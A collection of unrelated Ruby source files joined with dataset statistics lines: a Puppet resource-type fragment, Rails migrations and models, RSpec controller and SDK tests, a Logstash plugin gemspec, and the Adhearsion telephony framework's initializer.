and parent_resource = resource.scope.compiler.catalog.resource(:class, klass.name) || resource.scope.compiler.catalog.resource(:node, klass.name) parent_resource.evaluate unless parent_resource.evaluated? parent_scope(resource.scope, klass) end def evaluate_ruby_code(resource, scope) Puppet::DSL::ResourceAPI.new(resource, scope, ruby_code).evaluate end # Split an fq name into a namespace and name def namesplit(fullname) ary = fullname.split("::") n = ary.pop || "" ns = ary.join("::") return ns, n end def parent_scope(scope, klass) scope.class_scope(klass) || raise(Puppet::DevError, "Could not find scope for #{klass.name}") end def set_name_and_namespace(name) if name.is_a?(Regexp) @name = name @namespace = "" else @name = name.to_s.downcase # Note we're doing something somewhat weird here -- we're setting # the class's namespace to its fully qualified name. This means # anything inside that class starts looking in that namespace first. @namespace, ignored_shortname = @type == :hostclass ? [@name, ''] : namesplit(@name) end end def warn_if_metaparam(param, default) return unless Puppet::Type.metaparamclass(param) if default warnonce "#{param} is a metaparam; this value will inherit to all contained resources" else raise Puppet::ParseError, "#{param} is a metaparameter; please choose another parameter name in the #{self.name} definition" end end end
32.6793
199
0.686413
394ee6cef56c0bfb3d299bd601d9a090a1d29b5c
147
class LinkingDepartment < ActiveRecord::Migration def change change_table :courses do | t | t.belongs_to :department end end end
18.375
49
0.707483
d55f09f70e26d545438626c88db573b1c61e6636
2,271
require 'rails_helper' include Warden::Test::Helpers RSpec.describe Admin::PressSummariesController do let!(:admin) {create(:admin, superadmin: true)} let!(:form_answer) {create(:form_answer)} let!(:press_summary) {create(:press_summary, form_answer: form_answer)} before do sign_in admin end describe "POST create" do it "should create a resource" do press_summary.destroy post :create, params: { form_answer_id: form_answer.id, press_summary: FactoryBot.attributes_for(:press_summary) } expect(response).to redirect_to [:admin, form_answer] expect(PressSummary.count).to eq 1 end end describe "PUT update" do it "should update a resource" do put :update, params: { id: press_summary.id, form_answer_id: form_answer.id, press_summary: { name: "changed name" } } expect(response).to redirect_to [:admin, form_answer] expect(PressSummary.first.name).to eq "changed name" end end describe "Post approve" do it "should approve a resource" do post :approve, params: { id: press_summary.id, form_answer_id: form_answer.id } expect(response).to redirect_to [:admin, form_answer] expect(press_summary.reload.approved?).to be_truthy end end describe "Post submit" do it "should submit a resource" do post :submit, params: { id: press_summary.id, form_answer_id: form_answer.id } expect(response).to redirect_to [:admin, form_answer] expect(press_summary.reload.submitted?).to be_truthy end end describe "Post unlock" do it "should unlock a resource" do allow_any_instance_of(PressSummaryPolicy).to receive(:unlock?) {true} post :unlock, params: { id: press_summary.id, form_answer_id: form_answer.id } expect(response).to redirect_to [:admin, form_answer] expect(press_summary.reload.submitted?).to be_falsey end end describe "Post signoff" do it "should signoff a resource" do allow_any_instance_of(PressSummaryPolicy).to receive(:admin_signoff?) {true} post :signoff, params: { id: press_summary.id, form_answer_id: form_answer.id } expect(response).to redirect_to [:admin, form_answer] expect(press_summary.reload.admin_sign_off?).to be_truthy end end end
36.629032
125
0.713342
383888c2c0c01b7f585f58dbae2b370d57c8a3d4
1,148
Gem::Specification.new do |s| s.name = 'logstash-input-unix' s.version = '3.0.2' s.licenses = ['Apache License (2.0)'] s.summary = "Read events over a UNIX socket." s.description = "This gem is a Logstash plugin required to be installed on top of the Logstash core pipeline using $LS_HOME/bin/logstash-plugin install gemname. This gem is not a stand-alone program" s.authors = ["Elastic"] s.email = '[email protected]' s.homepage = "http://www.elastic.co/guide/en/logstash/current/index.html" s.require_paths = ["lib"] # Files s.files = Dir['lib/**/*','spec/**/*','vendor/**/*','*.gemspec','*.md','CONTRIBUTORS','Gemfile','LICENSE','NOTICE.TXT'] # Tests s.test_files = s.files.grep(%r{^(test|spec|features)/}) # Special flag to let us know this is actually a logstash plugin s.metadata = { "logstash_plugin" => "true", "logstash_group" => "input" } # Gem dependencies s.add_runtime_dependency "logstash-core-plugin-api", ">= 1.60", "<= 2.99" s.add_runtime_dependency 'logstash-codec-line' s.add_development_dependency 'logstash-devutils' end
39.586207
205
0.646341
f89a87261a3542a28cf33567a052e4a7b18b53cb
543
describe WelcomeController, type: :controller do describe 'ability to disable cabinet UI' do before { ENV['DISABLE_CABINET_UI'] = nil } context 'when cabinet UI is enabled' do it 'should return HTTP 200' do get :index expect(response).to have_http_status(200) end end context 'when cabinet UI is disabled' do before { ENV['DISABLE_CABINET_UI'] = 'true'} it 'should return HTTP 204' do get :index expect(response).to have_http_status(204) end end end end
24.681818
50
0.644567
bb1e016850bf3a4bcd499763016cd93109fc5dbc
10,150
# encoding: utf-8 require 'adhearsion/punchblock_plugin' require 'adhearsion/linux_proc_name' require 'rbconfig' module Adhearsion class Initializer class << self def start(*args, &block) new(*args, &block).start end end DEFAULT_PID_FILE_NAME = 'adhearsion.pid' attr_reader :path, :daemon, :pid_file # Creation of pid_files # # - You may want to have Adhearsion create a process identification # file when it boots so that a crash monitoring program such as # Monit can reboot if necessary or so the init script can kill it # for system shutdowns. # - To have Adhearsion create a pid file in the default location (i.e. # AHN_INSTALL_DIR/adhearsion.pid), supply :pid_file with 'true'. Otherwise # one is not created UNLESS it is running in daemon mode, in which # case one is created. You can force Adhearsion to not create one # even in daemon mode by supplying "false". def initialize(options = {}) @@started = true @path = path @mode = options[:mode] @pid_file = options[:pid_file].nil? ? ENV['PID_FILE'] : options[:pid_file] @loaded_init_files = options[:loaded_init_files] Adhearsion.root = '.' end def start catch :boot_aborted do resolve_pid_file_path configure_plugins load_lib_folder load_config_file load_events_file load_routes_file initialize_log_paths if should_daemonize? daemonize! else create_pid_file end Adhearsion.statistics start_logging debugging_log launch_console if need_console? catch_termination_signal set_ahn_proc_name initialize_exception_logger update_rails_env_var init_plugins run_plugins trigger_after_initialized_hooks Adhearsion::Process.booted if Adhearsion.status == :booting logger.info "Adhearsion v#{Adhearsion::VERSION} initialized in \"#{Adhearsion.config.platform.environment}\"!" if Adhearsion.status == :running end # This method will block until all important threads have finished. # When it does, the process will exit. join_important_threads self end def debugging_items [ "OS: #{RbConfig::CONFIG['host_os']} - RUBY: #{RUBY_ENGINE} #{RUBY_VERSION}", "Environment: #{ENV.inspect}", Adhearsion.config.description(:all), "Gem versions: #{Gem.loaded_specs.inject([]) { |c,g| c << "#{g[0]} #{g[1].version}" }}" ] end def debugging_log debugging_items.each do |item| logger.trace item end end def update_rails_env_var env = ENV['AHN_ENV'] if env && Adhearsion.config.valid_environment?(env.to_sym) unless ENV['RAILS_ENV'] logger.info "Copying AHN_ENV (#{env}) to RAILS_ENV" ENV['RAILS_ENV'] = env end else unless ENV['RAILS_ENV'] env = Adhearsion.config.platform.environment.to_s ENV['AHN_ENV'] = env logger.info "Setting RAILS_ENV to \"#{env}\"" ENV['RAILS_ENV'] = env end end logger.warn "AHN_ENV(#{ENV['AHN_ENV']}) does not match RAILS_ENV(#{ENV['RAILS_ENV']})!" unless ENV['RAILS_ENV'] == ENV['AHN_ENV'] env end def default_pid_path File.join Adhearsion.config.root, DEFAULT_PID_FILE_NAME end def resolve_pid_file_path @pid_file = if pid_file.equal?(true) default_pid_path elsif pid_file.equal?(false) nil elsif pid_file File.expand_path pid_file else should_daemonize? ? default_pid_path : nil end end def resolve_log_file_path _log_file = Adhearsion.config.platform.logging.outputters _log_file = _log_file[0] if _log_file.is_a?(Array) _log_file = File.expand_path(Adhearsion.config.root.dup.concat("/").concat(_log_file)) unless _log_file.start_with?("/") _log_file end def catch_termination_signal self_read, self_write = IO.pipe %w(INT TERM HUP ALRM ABRT).each do |sig| trap sig do self_write.puts sig end end Thread.new do begin while readable_io = IO.select([self_read]) signal = readable_io.first[0].gets.strip handle_signal signal end rescue => e logger.error "Crashed reading signals" logger.error e exit 1 end end end def handle_signal(signal) case signal when 'INT', 'TERM' logger.info "Received SIG#{signal}. Shutting down." Adhearsion::Process.shutdown when 'HUP' logger.info "Received SIGHUP. Reopening logfiles." Adhearsion::Logging.reopen_logs when 'ALRM' logger.info "Received SIGALRM. Toggling trace logging." Adhearsion::Logging.toggle_trace! when 'ABRT' logger.info "Received ABRT signal. Forcing stop." Adhearsion::Process.force_stop end end ## # Loads files in application lib folder # @return [Boolean] if files have been loaded (lib folder is configured to not nil and actually exists) def load_lib_folder return false if Adhearsion.config.platform.lib.nil? lib_folder = [Adhearsion.config.platform.root, Adhearsion.config.platform.lib].join '/' return false unless File.directory? lib_folder $LOAD_PATH.unshift lib_folder Dir.chdir lib_folder do rbfiles = File.join "**", "*.rb" Dir.glob(rbfiles).each do |file| require "#{lib_folder}/#{file}" end end true end def load_config_file load "#{Adhearsion.config.root}/config/adhearsion.rb" end def load_events_file path = "#{Adhearsion.config.root}/config/events.rb" load path if File.exists?(path) end def load_routes_file path = "#{Adhearsion.config.root}/config/routes.rb" load path if File.exists?(path) end def init_get_logging_appenders @file_loggers ||= memoize_logging_appenders end def memoize_logging_appenders appenders = Array(Adhearsion.config.platform.logging.outputters.dup) # Any filename in the outputters array is mapped to a ::Logging::Appenders::File instance appenders.map! do |a| case a when String f = if a.start_with?("/") a else File.expand_path(Adhearsion.config.root.dup.concat("/").concat(a)) end ::Logging.appenders.file(f, :layout => ::Logging.layouts.pattern( Adhearsion::Logging.adhearsion_pattern_options ), :auto_flushing => 2, :flush_period => 2 ) else a end end if should_daemonize? appenders else appenders += Adhearsion::Logging.default_appenders end end def configure_plugins Plugin.configure_plugins end def init_plugins Plugin.init_plugins end def run_plugins Plugin.run_plugins end def should_daemonize? @mode == :daemon end def need_console? @mode == :console end def daemonize! logger.info "Daemonizing now!" Adhearsion::CustomDaemonizer.daemonize resolve_log_file_path do |pid| create_pid_file pid end end def launch_console Thread.new do catching_standard_errors do Adhearsion::Console.run end end end # Creates the relative paths associated to log files # i.e. # - log_file = "log/adhearsion.log" => creates 'log' folder # - log_file = "log/test/adhearsion.log" => creates 'log' and 'log/test' folders def initialize_log_paths outputters = Array(Adhearsion.config.platform.logging.outputters) outputters.select{|o| o.is_a?(String)}.each do |o| o = o.split("/") unless o[0].empty? # only if relative path o.pop # not consider filename o.inject("") do |path, folder| path = path.concat(folder).concat("/") Dir.mkdir(path) unless File.directory? path path end end end end def start_logging outputters = init_get_logging_appenders Adhearsion::Logging.start outputters, Adhearsion.config.platform.logging.level, Adhearsion.config.platform.logging.formatter end def initialize_exception_logger Events.register_handler :exception do |e, l| (l || logger).error e end end def create_pid_file(pid = nil) return unless pid_file logger.debug "Creating PID file #{pid_file}" File.open pid_file, 'w' do |file| file.puts pid || ::Process.pid end Events.register_callback :shutdown do File.delete(pid_file) if File.exists?(pid_file) end end def set_ahn_proc_name Adhearsion::LinuxProcName.set_proc_name Adhearsion.config.platform.process_name end def trigger_after_initialized_hooks Events.trigger_immediately :after_initialized end ## # This method will block Thread.main() until calling join() has returned for all Threads in Adhearsion::Process.important_threads. # Note: important_threads won't always contain Thread instances. It simply requires the objects respond to join(). # def join_important_threads # Note: we're using this ugly accumulator to ensure that all threads have ended since IMPORTANT_THREADS will almost # certainly change sizes after this method is called. index = 0 until index == Adhearsion::Process.important_threads.size begin Adhearsion::Process.important_threads[index].join rescue => e logger.error "Error after joining Thread #{Thread.inspect}. #{e.message}" ensure index = index + 1 end end end InitializationFailedError = Class.new Adhearsion::Error end end
28.672316
151
0.631921
01b468512d6d5533ea1bd02ecee25d1b857b0399
2,601
# rubocop:disable Layout/LineLength, Lint/RedundantCopDisableDirective # == Schema Information # # Table name: permissions # # id :bigint not null, primary key # permission :string not null # created_at :datetime not null # updated_at :datetime not null # cms_content_group_id :bigint # convention_id :bigint # event_category_id :bigint # organization_role_id :bigint # staff_position_id :bigint # # Indexes # # idx_permissions_unique_join (staff_position_id,permission,event_category_id) UNIQUE # index_permissions_on_cms_content_group_id (cms_content_group_id) # index_permissions_on_convention_id (convention_id) # index_permissions_on_event_category_id (event_category_id) # index_permissions_on_organization_role_id (organization_role_id) # index_permissions_on_staff_position_id (staff_position_id) # # Foreign Keys # # fk_rails_... (cms_content_group_id => cms_content_groups.id) # fk_rails_... (convention_id => conventions.id) # fk_rails_... (event_category_id => event_categories.id) # fk_rails_... (organization_role_id => organization_roles.id) # fk_rails_... (staff_position_id => staff_positions.id) # # rubocop:enable Layout/LineLength, Lint/RedundantCopDisableDirective # rubocop:disable Metrics/LineLength, Lint/RedundantCopDisableDirective class Permission < ApplicationRecord include ExclusiveArc PERMISSION_NAMES_CONFIG = JSON.parse(File.read( File.expand_path('config/permission_names.json', Rails.root) )) exclusive_arc :role, [StaffPosition, OrganizationRole] exclusive_arc :model, [CmsContentGroup, Convention, EventCategory] scope :for_user, ->(user) do where( staff_position: StaffPosition.joins(:user_con_profiles) .where(user_con_profiles: { user_id: user.id }) ).or( where(organization_role: OrganizationRole.joins(:users).where(users: { id: user.id })) ) end def self.permission_names_for_model_type(model_type) PERMISSION_NAMES_CONFIG.flat_map do |permission_set| if permission_set['model_type'] == model_type permission_set['permissions'].map { |permission_config| permission_config['permission'] } else [] end end end def self.grant(role, model, *permissions) permissions.each do |permission| create!(role: role, model: model, permission: permission) end end def self.revoke(role, model, *permissions) for_role(role).for_model(model).where(permission: permissions).destroy_all end end
35.148649
101
0.723183
4a8cc25739f38406df7c078712a041486c47a459
161
class CreateEnemies < ActiveRecord::Migration[6.0] def change create_table :enemies do |t| t.string :name t.integer :room_id end end end
17.888889
50
0.664596
e86185635cbefebb57ae60f89a109286fe16ba0a
1,306
# frozen_string_literal: true require 'ibm-cloud-sdk' require_relative 'vpc_vcr' RSpec.describe 'Test vpc response exceptions', :vcr do let(:log) { Logger.new($stdout).tap { |l| l.level = Logger::DEBUG } } let(:vpc) { VCR.use_cassette('Test_vpc_API/vpc', { tags: %i[require_2xx token_request] }) { IBM::CloudSDK.new(ENV['IBM_CLOUD_APIKEY']).vpc } } it 'throws HttpStatusError on error occurs' do expect { IBM::CloudSDK.new('asssfafaf').vpc.adhoc }.to raise_error(IBM::Cloud::SDKHTTP::Exceptions::HttpStatusError) end it 'does not throw on 404' do expect(vpc.adhoc.code).to eq(404) end it 'json method throws ExceptionWithResponse body is not json' do res = vpc.adhoc expect { res.json }.to raise_error(IBM::Cloud::SDKHTTP::Exceptions::ExceptionWithResponse) end it 'Exception has response as method' do vpc.adhoc rescue IBM::Cloud::SDK::VPC::Exceptions::ExceptionWithResponse => e expect(e).to respond_to?(:response) end it 'Exception when status is not 2xx' do expect { vpc.adhoc(path: 'instances', params: { version: 3 }) }.to raise_error(IBM::Cloud::SDKHTTP::Exceptions::HttpStatusError) end it 'No exception when status is 2xx' do expect(vpc.adhoc(path: 'instances')).to be_an_instance_of(IBM::Cloud::SDKHTTP::SDKResponse) end end
34.368421
144
0.712098